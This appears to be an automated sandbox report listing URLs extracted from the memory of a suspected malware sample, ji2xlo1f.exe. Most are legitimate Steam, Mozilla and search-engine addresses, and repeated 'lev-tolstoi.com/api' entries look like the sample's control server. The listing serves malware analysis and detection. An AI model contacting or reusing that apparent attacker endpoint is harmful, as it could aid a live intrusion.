Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: ji2xlo1f.exe, 00000001.00000003.2412610834.0000000003D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483484833.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457835419.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2308329665.00000000016E2000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458528884.00000000016E7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001652000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=0Xxx
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kOc26QwM0vlX&l=e
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ji2xlo1f.exe, 00000001.00000003.2308942550.0000000003D5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: ji2xlo1f.exe, 00000001.00000003.2242682487.00000000016D7000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2281187032.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280751006.00000000016E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: ji2xlo1f.exe, 00000001.00000003.2445952124.0000000003D1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001695000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2491194547.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: ji2xlo1f.exe, 00000001.00000003.2413647159.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457586316.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446024458.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2412079508.0000000003D17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/%
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/A
Source: ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/Akys
Source: ji2xlo1f.exe, 00000001.00000003.2507134468.0000000003D17000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2457586316.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446024458.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000002.2585645002.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2492449171.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2491194547.0000000003D1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/I
Source: ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/a
Source: ji2xlo1f.exe, ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2458550592.000000000169A000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483549945.000000000169A000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2242729272.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2507093985.00000000016E1000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2483549945.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2446810949.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2571494048.00000000016E5000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2571541795.00000000016D9000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2280774238.0000000001695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: ji2xlo1f.exe, 00000001.00000003.2368050415.0000000003D20000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2368098826.0000000003D31000.00000004.00000800.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2368278967.0000000003D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api0JBb
Source: ji2xlo1f.exe, 00000001.00000002.2585241320.00000000016EF000.00000004.00000020.00020000.00000000.sdmp, ji2xlo1f.exe, 00000001.00000003.2506963341.00000000016F6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiN#
Source: ji2xlo1f.exe, 00000001.00000002.2584910256.00000000016E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiic
Source: ji2xlo1f.exe, 00000001.00000003.2446810949.000000000169A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apijson
